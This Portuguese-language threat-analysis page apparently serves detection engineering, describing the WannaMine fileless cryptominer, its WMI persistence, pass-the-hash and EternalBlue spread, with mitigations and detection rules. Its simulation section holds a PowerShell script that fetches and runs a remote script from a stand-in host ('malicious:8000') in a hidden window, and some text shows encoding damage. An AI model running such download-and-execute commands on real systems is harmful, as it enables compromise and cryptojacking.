Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
WannaMine é um worm de criptomineração sem arquivos que depende de ferramentas já existentes no sistema operacional—principalmente PowerShell e Instrumentação de Gerenciamento do Windows (WMI)—para permanecer residente em memória e minerar Monero.
Investigação
WannaMine é entregue através de e-mails de phishing contendo arquivos de lote maliciosos ou explorando a vulnerabilidade SMB EternalBlue. Para persistência, ele registra assinaturas de eventos WMI e armazena PowerShell codificado em classes WMI personalizadas.
Mitigação do WannaMine
Previna a exploração do EternalBlue aplicando patches no SMB (MS17-010). Restrinja a execução e monitoramento do PowerShell, observe a criação incomum de classes WMI e consumidores de eventos, e aplique o princípio de privilégio mínimo para limitar o uso indevido de credenciais.
Resposta
Alerte sobre comportamentos anormais de PowerShell/WMI, isole os hosts impactados, remova consumidores/assinaturas de eventos WMI maliciosos, rotacione credenciais potencialmente expostas e realize uma análise de memória para confirmar o minerador em memória.
“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>Ação</b> – <b>T1566.001 Phishing</b>: Anexo de spearphishing entregando um arquivo em lote malicioso”] class action_phishing action action_user_exec[“<b>Ação</b> – <b>T1204 Execução pelo Usuário</b>: A vítima executa o arquivo em lote que inicia o PowerShell”] class action_user_exec action action_powershell_exec[“<b>Ação</b> – <b>T1059.001 PowerShell</b>: Script PowerShell oculto determina a arquitetura do SO e baixa a carga útil”] class action_powershell_exec action action_wmi_persistence[“<b>Ação</b> – <b>T1546.003 Assinatura de Evento WMI</b>: Malware cria classes WMI personalizadas e registra consumidores de eventos”] class action_wmi_persistence action action_pass_the_hash[“<b>Ação</b> – <b>T1550.002 Pass the Hash</b>: Hashes NTLM extraídos são reutilizados”] class action_pass_the_hash action action_wmiexec[“<b>Ação</b> – <b>Movimento Lateral via WMIExec</b>: Hashes usados para executar PowerShell em hosts remotos”] class action_wmiexec action action_eternalblue[“<b>Ação</b> – <b>T1210 Exploração de Serviços Remotos</b>: EternalBlue (MS17u2011010) usado quando a reutilização de hashes falha”] class action_eternalblue action action_defense_evasion[“<b>Ação</b> – <b>T1550 Uso de Material de Autenticação Alternativo</b>: Reutilização de hashes roubados evita prompts de credenciais”] class action_defense_evasion action action_compute_hijacking[“<b>Ação</b> – <b>T1496.001 Sequestro de Computação</b>: Sistema configurado para minerar criptomoeda Monero”] class action_compute_hijacking action action_power_settings[“<b>Ação</b> – <b>T1653 Configurações de Energia</b>: Gerenciamento de energia alterado para evitar hibernação e manter a mineração ativa”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>Ferramenta</b> – <b>Nome</b>: Arquivo de Lote Malicioso<br /><b>Descrição</b>: Contêiner para comando inicial do PowerShell”] class file_batch tool tool_powershell[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br /><b>Descrição</b>: Motor de script usado para download e execução”] class tool_powershell tool tool_wmi[“<b>Ferramenta</b> – <b>Nome</b>: Instrumentação de Gerenciamento do Windows<br /><b>Descrição</b>: Registra assinaturas de eventos para persistência”] class tool_wmi tool tool_mimikatz[“<b>Ferramenta</b> – <b>Nome</b>: Módulo Mimikatz<br /><b>Descrição</b>: Extrai hashes NTLM da memória”] class tool_mimikatz tool tool_wmiexec[“<b>Ferramenta</b> – <b>Nome</b>: WMIExec<br /><b>Descrição</b>: Executa comandos em máquinas remotas via WMI”] class tool_wmiexec tool exploit_eternalblue[“<b>Ferramenta</b> – <b>Nome</b>: Exploit EternalBlue<br /><b>Descrição</b>: Explora vulnerabilidade SMB MS17u2011010”] class exploit_eternalblue tool malware_payload[“<b>Malware</b> – <b>Nome</b>: Carga Útil Personalizada<br /><b>Descrição</b>: Componente baixado que realiza mineração”] class malware_payload malware process_download[“<b>Processo</b> – <b>Nome</b>: Download de Carga Útil Remota<br /><b>Descrição</b>: Recupera binário apropriado para arquitetura do SO”] class process_download process process_mining[“<b>Processo</b> – <b>Nome</b>: Minerador de Monero<br /><b>Descrição</b>: Consome ciclos de CPU para mineração de criptomoedas”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|entrega| file_batch file_batch u002du002d>|executado_pelo_usuário| action_user_exec action_user_exec u002du002d>|triggers| action_powershell_exec action_powershell_exec u002du002d>|usa| tool_powershell action_powershell_exec u002du002d>|baixa| process_download process_download u002du002d>|armazena_como| malware_payload malware_payload u002du002d>|cria| action_wmi_persistence action_wmi_persistence u002du002d>|utiliza| tool_wmi action_wmi_persistence u002du002d>|extrai_hashes_com| tool_mimikatz tool_mimikatz u002du002d>|habilita| action_pass_the_hash action_pass_the_hash u002du002d>|habilita| action_wmiexec action_pass_the_hash u002du002d>|reverte_para| action_eternalblue action_wmiexec u002du002d>|executa_movimento_lateral| process_mining action_eternalblue u002du002d>|explora| exploit_eternalblue exploit_eternalblue u002du002d>|ganha_acesso_para| process_mining process_mining u002du002d>|leva_a| action_defense_evasion action_defense_evasion u002du002d>|habilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings “
Fluxo de Ataque
Detecções
Download ou Upload via Powershell (via linha de comando)
Ver
Atividade de Modificação de Esquema de Energia Suspeita (via linha de comando)
Ver
LOLBAS wmic (via linha de comando)
Ver
Download de Arquivo Suspeito por IP Direto (via proxy)
Ver
IOCs (HashMd5) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (Emails) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (SourceIP) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
IOCs (DestinationIP) para detectar: Como WannaMine Funciona: Um Malware Criptominador Sem Arquivos
Ver
Detecção de Criptojacking Sem Arquivos WannaMine [Criação de Processo Windows]
Ver
Detectar Execução de Criptominador Sem Arquivos WannaMine [PowerShell do Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Telemetria & Linha de Base deve ter sido concluída com sucesso.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para ativar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos do Ataque:
Um atacante obtém execução remota de código em um endpoint Windows. Para evitar interação do usuário, eles lançam o PowerShell em uma janela oculta (-W Hidden) sem perfil (-NoP) e não interativo (-NonI). O comando usaIEXpara baixar uma carga PowerShell de um servidor HTTP malicioso (http://malicious:8000/in6.ps1). O script baixado registra uma classe WMI chamadaOffice_Updatersobrootdefaultque armazena uma propriedademoncontendo um minerador Monero codificado em Base64. O atacante então lê a propriedade via[WmiClass]e a invoca, lançando efetivamente o criptominador sem criar um novo processo. Esta sequência corresponde às três substrings de linha de comando da regra de detecção. -
Script de Teste de Regressão:
#------------------------------------------------- # Simular execução de criptominador sem arquivos WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Execução do PowerShell oculto e não interativo $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invocar o comando (isto é o que o atacante executaria) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Pressupõe-se que o script remoto (in6.ps1) cria a classe WMI # com uma propriedade "mon" contendo o código de mineração. -
Comandos de Limpeza:
# Remover a classe WMI maliciosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Parar quaisquer processos PowerShell mineradores restantes (se algum foi lançado) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opcional: Limpar arquivos de transcrição/log do PowerShell criados durante o teste Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue